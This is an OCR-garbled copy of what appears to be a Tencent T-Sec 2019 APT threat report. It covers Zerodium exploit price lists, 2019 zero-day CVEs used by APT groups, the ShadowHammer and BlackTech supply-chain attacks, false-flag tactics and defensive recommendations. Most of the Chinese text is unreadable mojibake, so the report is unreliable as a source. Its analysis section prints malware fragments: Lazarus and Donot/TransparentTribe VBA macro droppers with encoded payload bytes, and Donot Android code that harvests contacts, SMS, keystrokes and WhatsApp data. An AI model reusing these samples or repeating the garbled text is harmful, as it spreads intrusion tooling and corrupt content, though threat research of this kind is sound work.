Home / India / Not only Kudankulam, ISRO, too, was alerted of cyber security breach

Not only Kudankulam, ISRO, too, was
alerted of cyber security breach

The breach at the Kudankulam plant became public on October 28 after some of the plant’s data
showed up on virustotal.com, an online malware scanning service.

Bl T RMIEIR P 60/78



TLP: WHITE @ [EiRZe

63: KT ISRO R THEMEXRIRS (MSEHEE 13]

5.2 Witix/NIR 4
5.2.1 [ Oday B

Oday #IANRME KL FIZEXE, O0day RENAIITEREEN, E—EREL
T APT AAZRB9K A,

ZERODIUM Payouts for Desktops/Servers’

Win RCE
Zero Click

gs
g

. Windows RCE: Remote Code Execution

. macOS LPE: Local Privilege Escalation
N Linux/BSD | SBX: Sandbox Escape or Bypass
B Any OS VME:Virtual Machine Escape

Chrome MS IS
RCE+LPE RCE

win
5001 “

MS Outlook
RCE

Safari Edge Firefox Word/ Excel cPanel/WHM
RCE+LPE RCE+LPE RCE+LPE RCE RCE

Mac

Adobe PDF WinRAR 7-Z Windows
RCE+SBX RCE LPE/SBX

Antivirus macOS
RCE LPE/SBX

Antivirus

* All payouts are subject to change or cancellation without notice. All trademarks are the property of their respective owners. 2019/01 © zerodium.com
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ZERODIUM Payouts for Mobiles’

Upto Android FCP
$2,500000 Zero Click
FCP: Full Chain with Persistence - 0S e
RCE: Remote Code Execution W Android 102
LPE: Local Privilege Escalation . Any OS

10S FCP
Zero Click

SBX: Sandbox Escape or Bypass

2001 A}
WhatsApp iMessage
_Upto RCE+LPE RCE+LPE
Zero Click Zero Click
108 /Anarokd 108
2003 2004 A}
_Upto WhatsApp SMS/MMS
$1,000,000 RCE+LPE RCE+LPE

10S /Androkd 10S /Anarok)

3.000 Y 2008 200 2000 2000 200 N 4002

Safari
RCE+LPE

WeChat Email App

RCE+LPE

Telegram
RCE+LPE

Signal
RCE+LPE

iMessage
RCE+LPE

FB Messenger
RCE+LPE

Persistence

RCE+LPE

10 /Androkd 10S /Androkd 10S/Androld 108 /Androld

2012 N 4008

Safari RCE
w/o SBX

Media Files
RCE+LPE

Documents SBX
RCE+LPE for Chrome for Safari

Kemel /Root

10S/Anarcia 105 /Angrok Anarold oS 108

8002 2002 K003 -

Touch ID
Bypass

Passcode
Bypass

[kJASLR

via MitM Disclosure

108 108

10S /Androkd

* All payouts are subject to change or cancellation without notice. All trademerks are the property of their respective owners. 2019/09 © zerodium.com
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/ CVE-2019-13720 Chromeifl
DarkHotel
\ CVE-2019-1458 Windows R URE
CVE-2019-1132 Windows {248
Buhtrap
CVE-2019-0797 Windows324X iR FEMITHE
FruityArmor —< GVE-2019-0859 Windows 242 FERHTHE
3
F5hoday A FAPTHHIC B
CVE-2019-3568 WhatsAppifi
NSO Group —C CVE-2019-2215 ZERIRA
CVE-2019-5786 ChromeiiiR
CVE-2019-0808 Windows 1208

B

CVE-2019-11707

FireFoxiR B2 HTTIRIR

CVE-2019-11708

FireFoxi fiti%iiR
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66: 90 Oday AT APT TR

5.2.2 IR o

HA KT E APT R pERNB G AT, SMENENNZENRILIKKBinbhi
A, W& oJRER MBI T EAEN SR A S AN ST P OEE [T
K. 2019 #F, RNEKEHINERE,

W-RERFERR Y HY ShadowHammer (£ ERGITFERAR S TR/ 8218 15 -

ﬂackdoored ASUS Live Updater executable \ / Backdoored ASUS Live Updater executable \

Original ASUS code Original ASUS code section

Payload Decryptor

Resource 136: EXE

Encrypted Payload

Resource 136: EXE
Malicious Downloader

Remainder of ASUS updater tool code

Remainder of ASUS updater tool code
(broken PE file)

(broken PE file)

@ y €

67: ShadowHammer fIk &0 (BIHERERS, SE4#15)

X0 ESET #8281 BlackTech 2H 471 FHHE LR BT = & & Ml %#40f) WebStorage AR5 55

TR EEIKE, 2 AREERA:
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ROUTER COMPROMISE

ASUS
WebStorage

s ————/
Target PC

I

I

P .

@ = % .

. ASUS
H R WebStorage

|

1

|

|

‘ Router

Attacker

Target PC

Target PC

ASUS
WebStorage

e - -

UPDATE INTERCEPTION

a -
. ASUS server
ASUS Update request
WebStorage intercepted

Router

Target PC o
Malicious update

e

Malicious
update file

68: BlackTech Bi T 7ig (SIFB ESET, &4 16)

523 BIZEBYRNA LT

BRIRZ APT AREABERER, H/REE/1E#, HERIFANZHELZZHZELIH
Hl, £ 2019 4F, mhAk%TE8 APT AR T HEM AL L H MBI,

W APT34 AR A2 T AN EHIMEE, MuddyWater HHAE T ANEHIATE
. 1 Turla AWIXE 7 APT34 B0—LLEZ AR, (212 APT34 BIEG IR TIR T8

o
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iRl RUIZ 5B, —IWBH—IUE, MEERNENSEBH APT KTEASR,

R RARLE R @B At APT AL S, BIEHENGE. ARRBE,

5.2.4 2 F G dAE I A BN APT 2R & M AET]

BR 7 windows %7, [Mac Z4r. Linux 24, URKB&oEFEE, tZEEA A APT X
TN, 2 FEIEREES, ZAAL A APT AR NRED,
WHNZGENGEY., BF. X%, AR, EiEY, lazarus, Kimsuky FEH

, WEB T2 FERIKLEEA,

| (24 A 1-1 3 A4 .

WA BE A
7= A A=A

#If Mac Then =
#If VBAT Then
It'x ate Dec l re PtrSafe Function stem Lib “libe. dylib® (ByVal co; .ms_d As String) As Lo
Private Dec » PtrSafe Function pope |L1[ lllw' J“lxl (ByVal command As String, ByVal

As String) As LongPtr
#Else
Private Declare Function system Lib "libc.dylib” (ByVal command As String) As Lon
Private Declare Function popen Lib “libc.dylib” (ByVal command As String, ByVal mode As String) As Long
#End If
#End If
Function psave3(i)|
cdata = Array(98, 102, 32, 49, 54, 13, 10, 110, 102, 98, 32, 48, 32, 36, 98, 102, 32, 60, 48, 13, 10, 36, 114, 113, 61, 115, 100, 100, 32, 36, 102
clen = UBound(cdata) - LBound(cdata) + 1
For =0 To clen - 1
bdata = cdata(j)
Put 121, 1, CByte(bdata): i =1 + 1
Next j
cdata = Array(117, 112, 93, 13, 10, 105, 102, 40, 36, 114, 113, 32, 45, 101, 113, 32, 36, 110, 117, 108, 108, 41, 123, 98, 114, 101, 97, 107, 125,
clen = UBound(cdata) - LBound(cdata) + 1
For j =0 To clen - 1
hdata = rdatali)

69: Lazarus §1 mac XFE)E5h
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: mﬁ[ G{EJF\' Ce

try {
vl.g = vl.e.split("/");
if(v7.g.length !'= 16) {

goto label 2

) Call REUEECRF M allLogs.txt L&
v7.a(v7.g[0].trim(), "Call", dcteat.j.a); CcT FEUERRTF Acontacts.txt E{&E
v7.a(v7.g[1].trim(), "CT", dcteat.j.b); SMS FEUG(EF sms.ixt HfE
v7.a(v7.g[v23].trim(), "SMS", dcteat.j.c);
v7.a(v7.g[v22].trim(), "Key", dcteat.j.d); Key Mﬂﬁﬁ)\{gaﬁﬁkeystxu:f?
v7.a(v7.g[v6].trim(), "Tree", dcteat.j.e); Tree FRENSDEX{4FRIF A Tree.txt L&
v7.a(v7.g[5].trim(), "AC", dcteat.j.f); AC FEUK SR TF Paccounts.txt
v7.a(v7.g[6].trim(), "Net", dcteat.j.g); -
v7.a(v7.g[7].trim(), "CR", dcteat.j.h); Net m;ﬂ‘ﬁﬁaﬁkneﬂnfomﬂ:ﬁ
v7.a(v7.g[8].trim(), "LR", dcteat.j.i); CR REUEEREFAClisttxt HE
v7l.a(v7.g[9].trim(), "FS", dcteat.j.j); LR S
v7.a(v7.g9[10].trim(), "GP", dcteat.j.k);
v7.a(v7.g[11].trim(), "PK", dcteat.j.l); FS I#'tﬁ
v7.a(v7.g[12].trim(), "BW", dcteat.j.m); GP WGPS@&EﬁGP-mfﬁ
v7.a(v7.g[13].trim(), "CE", dcteat.j.n); PK IRENA YR AF pkinfo.txt &
v7.a(v7.g[14] .trim(), "Wapp", dcteat.j.o); BW S SR S B bw. txt

on v0) { CE RNBHERFHcetxt L&

_137; Wapp EEwhatsapp{ER7FHWappHolder.txt k&

70: donot BT mhin K&

5.2.51%IE (FlaseFlag] & QNE

LR ES, B OTEEIRIh S S E AR89 TTPs (HR, BR, Jig)
KBshE ARIE (FlashFlag) , (&R B RS IR A L8 EINMXE, tHEIFEER T
Bimip At ARK BN, HE, BHNRF, tholsEfrrR LR EthE SFERA
I, WAEA T, Blnins s,

2019 FRRGIRES, HIIOEAD T2 MRIES6), B6&%Ek. BR. [ELY
[SideWinder]) . lazarus. TransparentTribe &,

4 donot &1 TransparentTribe BHERIE)E&h:
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3 Dim byt () As Byte

“$ub userRafzailoadr () pim azilisve() As sering
'Dim path Rafzai file As String
Dim fils Rafzai _name As String
Dim zip Rafzai_file As Variant
Dim bat_Rafzai_file As String
Dim fldr_Rafzal name As Variant

file Nave _name = "hargardius"”

fldr_Nave_name = Environ$ ("RLLUSERSPROFILE") & "\Mldarab\"

. . . If Dir(£ldr_Nave name, vbDirectory) = "" Then
file Rafzai_name = "winhlp" tx (Fias Feve hemer
End If - T

dr_Rafzai name = getRafzaiFileName("")

zip_Rafzai_file = fldr_Rafzai_name & file_Rafzai_name & ".zip"
'path Rafzai file = fldr Rafzai name & file Rafzai name & ".exe"
bat_Rafzai file = fldr Rafzai name & file Rafzai _name & ".bat"

zip Nave file = fldr Nave name & file Nave name & ".zip"

path_Nave_file = fldr_Nave_name & file Nave name & ".exe"

DTN ZFTRITZELTT TETTD
Dim bteRafzai() As Byte

Dim arr

1Raf i = Split (ufFx .tfB .Text, "!I™
arifatzas plit(afform ox-TEXE, ) arr = Splic(Application.CperacingSystem, " )

Dim linRafzai As Double

: e If arz(3) = "6.02" Or arr(3) = "6.03" Then
LinRatzai =0 ariNiave = Split(UserForm.weNaveBox.Text, "-")
For Each vl In arlRafzal Hlee = . . .

ReDim Preserve btsRafzai(linRafzai) ariNave = Split(UserForm.wsNaveBox.Text, "-7)
brsRafzai(linRafzai) = CByte(vl) -

linRafzai = linRafzai + 1

Next
&3 Dim brsNave () As Byte

Open zip Rafzai_file For Binary Access Write As #1 Pim lisNave As Double

Put #1, , btsRafzal

linN:
Close #1 retiave

For Each vl In ariNave

If Len(Dir(bat_Rafzai file)) ReDim Preserve btsNave (linNave)

Call unRafzaizip(zip_Rafza
End If

Then
_file, fldr_Rafzai_name)

bteNave (1inNave) = CByte(vl)

loadRafzaiPro bat_Rafzai file
— = linNave = linWave + 1

End Sub Hext

71 R8BH% (%34 Donot, 434 TransparentTribe)

AEF XS &L BRI S 5):

L v FTAELfEEARREGEA » STl E D iEEA |4 || m==

BEEIER HE = ST =

A ETEET feiE e .
wlib.dll WE| Exe

Micrasoft Office Word

v
H

OARE

72: ZFM payload BT AT IEREER
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/N 2020 F Bl is 2 Fil

6.1 #iRImeEil APT K i

£ 2019 7F, EXB—L APT ARG R R IRASKIAITENRIKD, 4 Finb .
BRICENRIFG, ZHR—ENEENSZ T Sm, BEFITESHNIAN, —L£ APTAHAR
N T BRI B C0TTER, RGP RYNER LSRG, BWRHFRSIAZIRS

KO B 5,

—

EXF, BNZBIL—TEENIZR, EHOIAMEERT APT AHLARRE XY
WiEH, MeERAP T wannacry B15=AS, MEIIRHRA IRMAREANN L NRIA
i wannacry #15% s, WHBAFAIRRIOEE. KRAXLTWRAY, 21z APT AR
BIT AR N&E, BIEEEZARNARKLDMNIFIK S TAIEFHIFAE, MM NR#MFK

FRKULHE.

6.2 £ XTHEAUMT TV Al e I s = 18 22

£ 2019 &, EZ LW SRR, BIEFEMTWINRMEIK TE0. Bai—4%
APT AR EENXIXZ G B AN BIE, FARINR EMA N —ERZ602 &, WEHJ)

FiE, NTHZUFaFREZNERZENMEL LK S, TR0,

6.3 YIERM i & B s 89K s Bim

BEE 50 HIRBIRRE, EREEXINIR & HIE X 0] gE S 2K T Bir, W08 inMfr

MERESIE, Bk, BBk, BEI0—mERERBE IRER AT BIR, Pk
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Mg & BRAIRPA I UEERXIEEERIAZE, BEURRKES. IISERER,

B 2PN 1R & 1 0] BE RN B 2 R\ AT IR B9 I8 5 BRI o

6.4 Jiw )l FH 2 A0 40 5

BEE M2 2 2 RIRBHR T A IS © R IBIBE R, EEITnaI M1 8 K 4 15 0 5
R ARE DS BB B, IR I A hE B2 00 0] gE R HR AR, &1 APT HIRA
XRBEBIRA D R KA, XERRITRERIERIER TR, R3S E5mE, NARFR
Y&, ERPNR &R, 2019 F Windows #BIERREN 721N RDP migimiE, ms
AREE% Oday fFREE S K—BEE 7, oUMIIRRR HINEZ g R Tk

oI, P FFI8 s LI B9AR 55 86 o] BE % 21w el 6 YA o

6.5 AR R R XEEINA

BEE —LE APT HRBIH RO R, ARMSKZ ALHERA R ITHIHEEE, &N
RFREVIR T T RH#TTCRGR, (ERMIEES LT AR BRI, MR iE 2,
th{ERE TTPs LHHEthfrE—EHME. N, BRHMEZSHRLRIZR, FHE
IR B K IR ES R A B IR DT BE. R 7 XERASN, REABRBRAERNKTAHL, tHiE
FRNRIBFAR L EEE (W S&CRSERA—R, REFBRA—REFEF] , Bt
XWARNGHZHE L0 FERANEM, U2 8RS 2 AL )TE ol se = B A — K Hk

o
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6.6 BT IPv6 MK i i KB N 157

2019 7 11 H 25 B, BNk iz RIPENCC E7 43 21 IPv4 it B 2825

B, XBRGREELRBEZH IPv4 HAULOIAR B2, ISP HE bR B PAS B4R i 12 1

&, IPv4 FRXEEHR,
Nikolas Pediaditis w
par ncc-announce
A : ncc-announce@ripe.net
25 nov. 2019 & 15:40

Dear colleagues,

Today, at 15:35 UTC+1 on 25 November 2019,
we made our final /22 IPv4 allocation from
the last remaining addresses in our
available pool. We have now run out of IPv4
addresses.

Our announcement will not come as a surprise
for network operators - IPv4 run-out has
long been anticipated and planned for by the
RIPE community. In fact, it is due to the
community's responsible stewardship of these
resources that we have been able to provide
many thousands of new networks in our
service region with /22 allocations after we
reached our last /8 in 2012.

73: Nikolas Pediaditis 41 IPv4 FERBIE FHEH

Bl 2 B IEIR DL 70/78



TLP: WHITE @ Bih=e

BEE IPva BIFER, RABEKBZHIRGEEAH IPV6R#TR T, BEATF—L£%
BRHNEIEN R FEREIRIER (WK EN P BIMERE] , RFRLPRARBIHEE
N II—ERIbIER, HL0OFRET IPve B9IR&, thath THEEZE] BT RLEA

SRk FB9HPSEBIRR,

. ZFEFIX

BT IXEREZNM, ML, BERIEWSEU N KIRHE RS AL R ER
APT Ik &

1. BYEFRENE EMBRA AR IRIE N 203K,

°. IBIRERE R WIF 2 RN WIFI M2, ZIXNEHTT OB EE
MEGRERRFISRIERE, WL IMEE. RITRIRS, RENEREE

B RH WIFI 8117 5 AR BT R ERTE,

3. RBARERIN, NEITTERANABERARIBA, BRIFXIEKIE ol5E, FH@A

tf, SNANBREZEH Office FIZRTH,

4. ROV R ER SN T Office FEZIRAFBIRN T

5 RHRSHRAFRIEHDRERRSNEING, NFLEWREP, #EEAREI T-5c &

FEEARG(BIAHR). BIHKAEZMEMEENASEHINEE, of#F

BiE WA P BEIRS /RSN RXF,
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+  WindowsZ22 BT (KB4499175 ) [&h 100. 50MB

74: (R T-5ec Kin R EXERAREKERGMNT

6. HEBITNIG. NTRIIREBLWREPE8EMRIT T-5ec SRBMGNESE (&
IR RO BEL L. il T-Sec BREMINZES, EEFBINZER
RELNERN L ERET]. WHBIHE R IR EEEHE, A LN EER

MEERMER Z 2,  [(https://s.tencent.com/product/gjwxjc/index.html]
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IPARRE 2B Top 5 (H24/he) A A= TOPS

B 75 (ERBI T-5ec 8RB SR IR REL LT

/. MERHEBINSERIMEIR A @ik 5

Saas BBt B g IR E 185 T-5ec- B EIR= &R 5", Ji/EXT IP/Domain/
XHSX RPN E ., S5aas L EAMEIRE MR 50 T-5ec SRBIMNE Nz
"y REBHT TN 8518 ol E16 S B F FIRE AN E R FMEXGR. MAWHE
FARE

SZ§5#=. https://cloud.tencent.com/product/tics

T-5ec BMEIRTFE (TIP] 2B IHLTHMEIREN LN —E D AMEEZ KRN E

REEFE, BHESHENEEANMN/TM/E = FUELYBAMEREEEE,

T-5ec SREMBMALE, AP #ITARIA BEEMNKIEAMT, B

WL, B BIMERNE & 2L FF R BT TR
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SEZ§54. https://cloud.tencent.comn/product/atts

8. HEBRENMFRABIA T-5ec MEEFNXOGNESE (FBIHEN] 2 kL%

AR DR L E R,

fEI T-5ec MR =NQIMALZE (BIEA] 2—K Bl & = iR Al 2 X

[eB9=da. ol AP, =EN. NEFFRFFENNR, 855502

MW, Web JmiRF3. BABRASIRMN . MibEKmN, EDE0NEE KT

=X B,

& - 1

RS A R R R

en

SR ENER

87+ 34+ 89, 39+ 12, 290,

HMES

& 76: (&R T-5ec MZEE=NRTES (7] mNEDEER =X
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Y minzs
. K=

8.1 Mis® 1: B&ifl & 7 B TEHR by

=
=)

fE il 22 BAMEIR L,

— /Nl E R B IENIEIR DM B ERIF &
BN HEEELFEANEHE LNTH, B

0o a4 T
go /7\

=

RLFTRANZEZFA
&, FEERSRFLNRDS (APT) £AKIA

=N rmaN

SLERGIR, BIZEDINARIR
B JEGXTOIREBRHTINE . MR A,
BN L EBINEIRPLRIRE

BASLIR, Rin T RAENBEMANIRS, EHNEH
KRIFBVE TR E A GG BIRE APT KRS,

SN =— AN

W E7]

RS B2 & L@ AR & /5 &

Lk, #ATFUWFRATNKF, RENTAEEF ML F THKNFWY, BINRMIIEROSLERK
BIFNAR N2 ENEHTR S,

UTNEBIHL FEMEIRTLRIRE

AV NS

B 484, XOFIFHE 4.

/7
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8.2 iR 2: BEGHE

1. https://www.kaspersky.comn/blog/darkhotel-hackingteamn/15090/

2. https://www.freebuf.com/news/72852.html

3. https://securelist.comn/scarcruft-continues-to-evolve-introduces-bluetooth-

harvester/90729/

4. https://securelist.com/chrome-0-day-exploit-cve-2019-13720-used-in-

operation-wizardopium/94866/

5. https://twitter.com/cyberwar_15/status/11904617542711513089

6. https://www.nytimes.com/2019/08/28/us/politics/us-iran-cyber-attack html

7. https://www.securitynewspaper.com/2019/07/15/new-york-power-blackout-did-

iran-did-performed-a-counter-cyberattack/

8. https://www.welivesecurity.com/2019/05/07/turla-lightneuron-email-too-far/

9. https://www.ncsc.gov.uk/news/turla-group-exploits-iran-apt-to-expand-

coverage-of-victims

10, https.//labs.sentinelone.corn/the-deadly-planeswalker-how-the-trickbot-

group-united-high-tech-crimeware-apt/

11, https://www.altran.corn/as-content/uploads/sites/7/2019/07/pr-altran-28-

january-en.pdf

12, https.//twitter.com/a_tweeter_user/status/11888119778518876176
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https://twitter.com/a_tweeter_user/status/1188811977851887616

TLP: WHITE @ [EiRZe

13. https://indianexpress.com/article/india/not-only-kudankulam-isro-too-was-

alerted-of-cyber-security-breach-6105184/

14, https://zerodiurm.com/program.html

15, https://securelist.comn/operation-shadowhammer-a-high-profile-supply-chain-

attack/90380/

16. https.//www.welivesecurity.corm/2019/05/14/plead-malware-mitm-asus-

webstorage/
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